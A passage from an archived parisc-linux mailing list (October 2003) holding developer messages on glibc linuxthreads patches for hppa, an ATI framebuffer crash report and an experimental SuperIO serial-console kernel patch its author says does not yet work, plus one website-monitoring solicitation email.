Path: news.gmane.org!not-for-mail
From: Jakub Jelinek <jakub@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] _STACK_GROWS_UP fixes.
Date: Wed, 15 Oct 2003 07:34:31 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20031015053431.GE12344__12675.1989046626$1416622876$gmane$org@sunsite.ms.mff.cuni.cz>
References: <20031012213734.GJ23999@systemhalted>
Reply-To: Jakub Jelinek <jakub@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622876 32664 80.91.229.3 (22 Nov 2014 02:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:16 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 01:37:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sunsite.ms.mff.cuni.cz (sunsite.ms.mff.cuni.cz [195.113.19.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id C29FB48AC
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 01:37:49 -0600 (MDT)
Original-Received: from sunsite.ms.mff.cuni.cz (sunsite.mff.cuni.cz [127.0.0.1])
	by sunsite.ms.mff.cuni.cz (8.12.8/8.12.8) with ESMTP id h9F5YV2c017847;
	Wed, 15 Oct 2003 07:34:31 +0200
Original-Received: (from jakub@localhost)
	by sunsite.ms.mff.cuni.cz (8.12.8/8.12.8/Submit) id h9F5YVTE017842;
	Wed, 15 Oct 2003 07:34:31 +0200
Content-Disposition: inline
In-Reply-To: <20031012213734.GJ23999@systemhalted>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19827

On Sun, Oct 12, 2003 at 05:37:34PM -0400, Carlos O'Donell wrote:
> 2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>
> 
> 	* pthread.c (__pthread_self_stack): _STACK_GROWS_UP case added.
> 	(__pthread_find_self): Likewise.
> 	* manager.c (thread_segment): _STACK_GROWS_UP case added.

You need to look at linuxthreads/attr.c (__pthread_attr_getstack) too
(the recent code which parses /proc/self/maps and finds stack VMA in there).

	Jakub


From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Wed, 15 Oct 2003 13:57:04 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3F8A29A2000018C3@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0310141949150.17639@gustlik.softwired.wfc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622876 32667 80.91.229.3 (22 Nov 2014 02:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:16 +0000 (UTC)
To: "Hin.Zen" <hinzen@blah.pl>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 05:57:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69135491D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 05:57:17 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A9kH3-0006he-00; Wed, 15 Oct 2003 13:57:05 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 15 Oct 2003 13:57:04 +0200
In-Reply-To: <Pine.LNX.4.58.0310141949150.17639@gustlik.softwired.wfc>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19828

Hi Hin,

Sorry but on the b180L on wich card is pluged in, i boot a kernel with module
support and build the new atyfb module and when I modprobe it the system
crash (without oops message :( ).
The only message I got is:
atyfb: using auxiliary register aperture
atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
230K

which seems more relevant then previous test (with original atyfb support).

Never the less, I would like very much that it works and so ask you the favor
to send me your .config file to be sure I do not lost anything :) (btw with
your XF86Config-4 :) )

Thanks in advance,
    Joel

>-- Original Message --
>From: "Hin.Zen" <hinzen@blah.pl>
>To: parisc-linux@lists.parisc-linux.org
>Date: Tue, 14 Oct 2003 20:20:14 +0200 (CEST)
>Subject: [parisc-linux] ATI rage xl and C360 (it works!)
>
>
>Hello List,

last night I accidentally found this:
http://ftp.fi.muni.cz/pub/linux/sgi/people/ppopov/aty_nobiosinit.patch

and patched 2.4.22-pa12 on my C360.
After that the rage xl seems to work just fine [minor problems with
colors and XFree (
>bdev mode) running 1280x1024].

Could anybody who owns such a card (or can easily get one) test it please?
(maybe Joel?)

thanks,

-- 
hinzen
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc
>linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Connie Davis <connie.davis@mail.internetseer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lists.parisc-linux.org
Date: Wed, 15 Oct 2003 08:40:28 -0400 (EDT)
Lines: 104
Approved: news@gmane.org
Message-ID: <1144449.1066221628833.JavaMail.Administrator@pm68>
Reply-To: Connie Davis <cs-connie.davis.6d8y7_wLW6v5aIXIUU5tz6tzSz_5cSLyPJ5dIzL.e3@mail.internetseer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_Part_278_8678661.1066221628833"
X-Trace: ger.gmane.org 1416622877 32670 80.91.229.3 (22 Nov 2014 02:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 06:46:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from internetseer.com (mail9.internetseer.com [66.150.40.23])
	by dsl2.external.hp.com (Postfix) with SMTP id 0279A495E
	for <parisc-linux@parisc-linux.org>; Wed, 15 Oct 2003 06:46:55 -0600 (MDT)
Original-Received: (qmail 12553 invoked from network); 15 Oct 2003 12:40:38 -0000
Original-Received: from unknown (HELO pm68) (66.150.40.68)
  by 0 with SMTP; 15 Oct 2003 12:40:38 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19829

------=_Part_278_8678661.1066221628833
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit

On Wed Oct 15, 2003 at 02:56:09 AM EDT we were unable to reach your website:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-December/014799.html
due to the following reason:  Host Not Found

As of Wed Oct 15, 2003 at 08:38:00 AM EDT we were able to access your website again.

We discovered this error during our normal course of website content 
checking for one of our search engine clients. 

If you would like your website monitored for free and receive 
notifications like this in the future, click here: 
http://scclick.internetseer.com/sitecheck/clickthrough.jsp?I5s57d5f5f5e5k5i5c5h55V5qz6qgptzSz_5cSLyPJ5vN6uPXxR59CSHWG5aNPD53U5pXTxy5p5b5cIXxTz5bz6tzSz_5cSLyPJ5dIzL5bySNRPC6uSS5cz6tzSz_5cSLyPJ5e5e5d5f5d5a63V_MC6vMw5c5f5d5h5m5l5m5dMPNS53T5p5g=e3

Click here to learn more about us:
http://scclick.internetseer.com/sitecheck/clickthrough.jsp?I5s57d5f5f5e5k5i5c5h55V5qz6qgotzSz_5cSLyPJ5vN6uPXxR59CSHWG5aNPD53U5pXTxy5p5b5cIXxTz5bz6tzSz_5cSLyPJ5dIzL5bySNRPC6uSS5cz6tzSz_5cSLyPJ5e5e5d5f5d5a63V_MC6vMw5c5f5d5h5m5l5m5dMPNS53T5p5f=e3

Sincerely,

Connie Davis
InternetSeer.com
http://www.internetseer.com

------------------------------------------------------------------------------
Your email address was found during a prior visit to your website on 
04-09-2002. The error listed above was verified from both of our 
indexing servers in Philadelphia, Pa. and Los Angeles, Ca. This error could 
have been caused by any number of events, including connectivity problems on 
our part and/or connectivity problems in the Internet as we tried to reach 
your site. This error should not be construed as a guaranteed problem on the 
part of your website or hosting company since there are never any guaranteed 
connection routes on the Internet.

If would like to be excluded from any potential future contact, click here:
http://scclick.internetseer.com/sitecheck/cancel.jsp?6d8y7_wLW6v5aIXIUU5tz6tzSz_5cSLyPJ5dIzL.e3


##parisc-linux@parisc-linux.org## SRC=61
------=_Part_278_8678661.1066221628833
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<html>
 <head>
  <title>lists.parisc-linux.org</title>
  <style type="text/css">
   .base  { font-size:10pt; color:#000000; font-weight:normal; font-family:'Courier New', monospace; }
   .hide  { font-size:10pt;  color:#FFFFFF; font-weight:normal; font-family:'Courier New', monospace; }
  </style>
 </head>
 <body bgcolor="#ffffff" vlink="#0000ff" link="#0000ff">
  <center>
  <table border="0" width="90%" cellpadding="5" cellspacing="0">
   <tr>
    <td class="base" bgcolor="#ffffff">
     On Wed Oct 15, 2003 at 02:56:09 AM EDT we were unable to reach your website:<BR>
     <a href="http://lists.parisc-linux.org/pipermail/parisc-linux/2001-December/014799.html">http://lists.parisc-linux.org/pipermail/parisc-linux/2001-December/014799.html</a><BR>
     due to the following reason:  Host Not Found<BR>
     <br>
     As of Wed Oct 15, 2003 at 08:38:00 AM EDT we were able to access your website again.<BR>
     <br>
     We discovered this error during our normal course of website content checking 
     for one of our search engine clients. <br>
     <br>
     If you would like your website monitored for free and receive notifications like 
	 this in the future, <a href="http://scclick.internetseer.com/sitecheck/clickthrough.jsp?I5s57d5f5f5e5k5i5c5h55V5qz6qgptzSz_5cSLyPJ5vN6uPXxR59CSHWG5aNPD53U5pXTxy5p5b5cIXxTz5bz6tzSz_5cSLyPJ5dIzL5bySNRPC6uSS5cz6tzSz_5cSLyPJ5e5e5d5f5d5a63V_MC6vMw5c5f5d5h5m5l5m5dMPNS53T5p5g=e3">click here</a>.<br>
     <br>
     <br>
     <a href="http://scclick.internetseer.com/sitecheck/clickthrough.jsp?I5s57d5f5f5e5k5i5c5h55V5qz6qgotzSz_5cSLyPJ5vN6uPXxR59CSHWG5aNPD53U5pXTxy5p5b5cIXxTz5bz6tzSz_5cSLyPJ5dIzL5bySNRPC6uSS5cz6tzSz_5cSLyPJ5e5e5d5f5d5a63V_MC6vMw5c5f5d5h5m5l5m5dMPNS53T5p5f=e3">Click here</a> to learn more about us.<BR>
     <BR>
     Sincerely,<BR>
     <BR>
     Connie Davis<BR>
     <a href="http://www.internetseer.com/ep/setoc?NR5p764lad5aP5q5eMNNV5cSHVMU5bGxy=e3">InternetSeer.com</a><br>
     <br>
     <hr size="1" color="#000000">
     Your email address was found during a prior visit to your website on 04-09-2002. 
     The error listed above was verified from both of our indexing servers in 
     Philadelphia, Pa. and Los Angeles, Ca.  This error could have been caused by 
     any number of events, including connectivity problems on our part and/or 
     connectivity problems in the Internet as we tried to reach your site. This 
     error should not be construed as a guaranteed problem on the part of your 
     website or hosting company since there are never any guaranteed connection 
     routes on the Internet.<br>
     <br>
     If would like to be excluded from any potential future contact, 
     <a href="http://scclick.internetseer.com/sitecheck/cancel.jsp?6d8y7_wLW6v5aIXIUU5tz6tzSz_5cSLyPJ5dIzL.e3">click here</a>.<br>
    </td>
   </tr>
   <tr>
    <td class="hide" bgcolor="#ffffff">
     <font color="#FFFFFF">##parisc-linux@parisc-linux.org## SRC=61</font><img src="http://scclick.internetseer.com/sitecheck/open.jsp?72h25bOyzzwUWNPX7gEx=e3" border="0" alt="">
    </td>
   </tr>
  </table>
  </center>
 </body>
</html>
------=_Part_278_8678661.1066221628833--



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] SuckyIO still doesn't work
Date: Wed, 15 Oct 2003 15:10:18 +0100
Lines: 203
Approved: news@gmane.org
Message-ID: <20031015141018.GD16535@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622877 32671 80.91.229.3 (22 Nov 2014 02:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 08:10:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B12EA491D
	for <parisc-linux@parisc-linux.org>; Wed, 15 Oct 2003 08:10:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A9mLy-0007ym-GT
	for parisc-linux@parisc-linux.org; Wed, 15 Oct 2003 15:10:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19830

This patch doesn't make suckyio serial work.  But I think it's along
the right lines.  Anybody else want to play with this, go ahead.

Without the 
+       serial8250_console_init();
line in superio.c, we get:

SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Registering serial 0
Registering serial 1
superio_probe(0000:00:0e.2) ven 0x100b dev 0x12 sv 0x0 sd 0x0 class 0xc0310
SuperIO: probe of 0000:00:0e.2 failed with error -1
Soft power switch enabled, polling @ 0xf0400804.
Console: switching to colour frame buffer device 128x48
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at I/O 0x3f8 (irq = 99) is a 16550A
(garbage)

With it:

SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Registering serial 0
(garbage)

I wonder if possibly we're not unregistering the PDC console properly
so they're both trying to drive the serial port with awful consequences.

Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.2
diff -u -p -r1.2 inventory.c
--- arch/parisc/kernel/inventory.c	14 Sep 2003 06:37:40 -0000	1.2
+++ arch/parisc/kernel/inventory.c	15 Oct 2003 12:59:05 -0000
@@ -526,7 +526,7 @@ static void __init system_map_inventory(
 	int i;
 	long status = PDC_OK;
     
-#if defined(CONFIG_IOMMU_SBA) && defined(CONFIG_SUPERIO)
+#if defined(CONFIG_IOMMU_SBA) && defined(CONFIG_SUPERIO) && 0
 	/*
 	 * Stop the suckyio usb controller on Astro based systems.
 	 * Otherwise the machine might crash during iommu setup.
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.4
diff -u -p -r1.4 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	14 Oct 2003 11:33:39 -0000	1.4
+++ arch/parisc/kernel/pdc_cons.c	15 Oct 2003 01:57:05 -0000
@@ -12,7 +12,7 @@
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
-#undef EARLY_BOOTUP_DEBUG
+#define EARLY_BOOTUP_DEBUG
 
 
 #include <linux/config.h>
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.3
diff -u -p -r1.3 superio.c
--- drivers/parisc/superio.c	28 Sep 2003 21:04:34 -0000	1.3
+++ drivers/parisc/superio.c	15 Oct 2003 13:22:56 -0000
@@ -65,7 +65,9 @@
 #include <linux/ioport.h>
 #include <linux/parport.h>
 #include <linux/parport_pc.h>
-#include <linux/serial_reg.h>
+#include <linux/termios.h>
+#include <linux/tty.h>
+#include <linux/serial_core.h>
 #include <asm/io.h>
 #include <asm/hardware.h>
 #include <asm/irq.h>
@@ -76,7 +78,7 @@ static struct superio_device sio_dev = {
 };
 
 
-#undef DEBUG_INIT
+#define DEBUG_INIT
 
 void
 superio_inform_irq(int irq)
@@ -387,11 +389,27 @@ int superio_fixup_irq(struct pci_dev *pc
 	return(sio_dev.irq_region->data.irqbase + local_irq);
 }
 
+static struct uart_port serial[] = {
+	{
+		.iotype		= UPIO_PORT,
+		.line		= 0,
+		.type		= PORT_16550A,
+		.uartclk	= 115200,
+		.fifosize	= 16,
+	},
+	{
+		.iotype		= UPIO_PORT,
+		.line		= 1,
+		.type		= PORT_16550A,
+		.uartclk	= 115200,
+		.fifosize	= 16,
+	}
+};
+
 void __devinit
 superio_serial_init(void)
 {
 #ifdef CONFIG_SERIAL_8250
-	struct serial_struct *serial;
 	int retval;
 	
 	if (!sio_dev.irq_region)
@@ -400,47 +418,26 @@ superio_serial_init(void)
 	if (!sio_dev.iosapic_irq_enabled)
 		superio_init(&sio_dev);
 
-	serial = kmalloc(2 * sizeof (struct serial_struct), GFP_KERNEL);
-
 	if (!serial) {
 		printk(KERN_WARNING "SuperIO: Could not get memory for serial struct.\n");
 		return;
 	}
 
-	memset(serial, 0, 2 * sizeof (struct serial_struct));
-
-	serial->type = PORT_16550A;
-	serial->line = 0;
-	serial->port = sio_dev.sp1_base;
-	serial->port_high = 0;
+	serial->iobase = sio_dev.sp1_base;
 	serial->irq = sio_dev.irq_region->data.irqbase + SP1_IRQ;
-	serial->io_type = SERIAL_IO_PORT;
-	serial->flags = 0;
-	serial->xmit_fifo_size = 16;
-	serial->custom_divisor = 0;
-	serial->baud_base = 115200;
 
-	retval = register_serial(serial);
+	printk("Registering serial 0\n");
+	retval = early_serial_setup(&serial[0]);
 	if (retval < 0) {
 		printk(KERN_WARNING "SuperIO: Register Serial #0 failed.\n");
-		kfree (serial);
 		return;
 	}
+	serial8250_console_init();
 
-	serial++;
-
-	serial->type = PORT_16550A;
-	serial->line = 1;
-	serial->port = sio_dev.sp2_base;
-	serial->port_high = 0;
+	serial->iobase = sio_dev.sp2_base;
 	serial->irq = sio_dev.irq_region->data.irqbase + SP2_IRQ;
-	serial->io_type = SERIAL_IO_PORT;
-	serial->flags = 0;
-	serial->xmit_fifo_size = 16;
-	serial->custom_divisor = 0;
-	serial->baud_base = 115200;
-
-	retval = register_serial(serial);
+	printk("Registering serial 1\n");
+	retval = early_serial_setup(&serial[1]);
 	if (retval < 0)
 		printk(KERN_WARNING "SuperIO: Register Serial #1 failed.\n");
 #endif /* CONFIG_SERIAL_8250 */
@@ -504,9 +501,7 @@ static int __devinit superio_probe(struc
 #ifdef CONFIG_PARPORT_PC
 		superio_parport_init();
 #endif
-#ifdef CONFIG_SERIAL_8250
 		superio_serial_init();
-#endif
 		/* REVISIT : superio_fdc_init() ? */
 		return 0;
 	} else {
@@ -538,10 +533,5 @@ static void __exit superio_exit(void)
 	pci_unregister_driver(&superio_driver);
 }
 
-/* Make late initcall to ensure the serial and tty layers are initialised
- * before we start superio.
- *
- * FIXME: does this break the superio console?
- */
-late_initcall(superio_modinit);
+module_init(superio_modinit);
 module_exit(superio_exit);

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Wed, 15 Oct 2003 10:26:49 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20031015142648.GF22495__14409.5347998247$1416622877$gmane$org@systemhalted>
References: <20031010204444.GF6454@systemhalted> <3F8CD774.4040400@redhat.com> <20031015054045.GE22495@systemhalted> <3F8CE195.2090106@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622877 32672 80.91.229.3 (22 Nov 2014 02:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:17 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 08:30:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CCE3491D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 08:30:30 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A9mbx-0007ms-00; Wed, 15 Oct 2003 10:26:49 -0400
Content-Disposition: inline
In-Reply-To: <3F8CE195.2090106@redhat.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19831

Ulrich,

> - -# if __LT_SPINLOCK_INIT != 0
> - -  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
> - -  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
> +# ifdef __LT_INITIALIZER_NOT_ZERO
> +  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
> +  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
> 
> part is what I meant.  There is no reason to change the name.

How do you propose it be handled? All arches define __LT_SPINLOCK_INIT
and thus it cannot be used to distinguish between the two cases. Why do
we distinguish between the two cases? Because a structure as an
initializer has two different assignments cases, one in which it is
named and one which it is not.
 
> Look at your change, no changes of code which are not needed.  Clean up
> the patches to follow the coding standard, preprocessor indentation, etc
> etc.

I do apologize for the STACK_GROWS_UP patches being included, and
rightly so I removed them. Thank you for applying those patches.

I will go over my patches again for coding standard, preprocessor
indentation and other grievences. In most cases I have tried to follow 
the standard.

Cheers,
Carlos.



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Sysdeps changes for hppa.
Date: Wed, 15 Oct 2003 10:35:59 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20031015143558.GG22495__19778.1999166638$1416622878$gmane$org@systemhalted>
References: <20031012213226.GE23999@systemhalted> <3F8CDFD6.1010300@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622878 32675 80.91.229.3 (22 Nov 2014 02:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:18 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 08:39:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06928491D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 08:39:39 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A9mkp-0007oN-00; Wed, 15 Oct 2003 10:35:59 -0400
Content-Disposition: inline
In-Reply-To: <3F8CDFD6.1010300@redhat.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
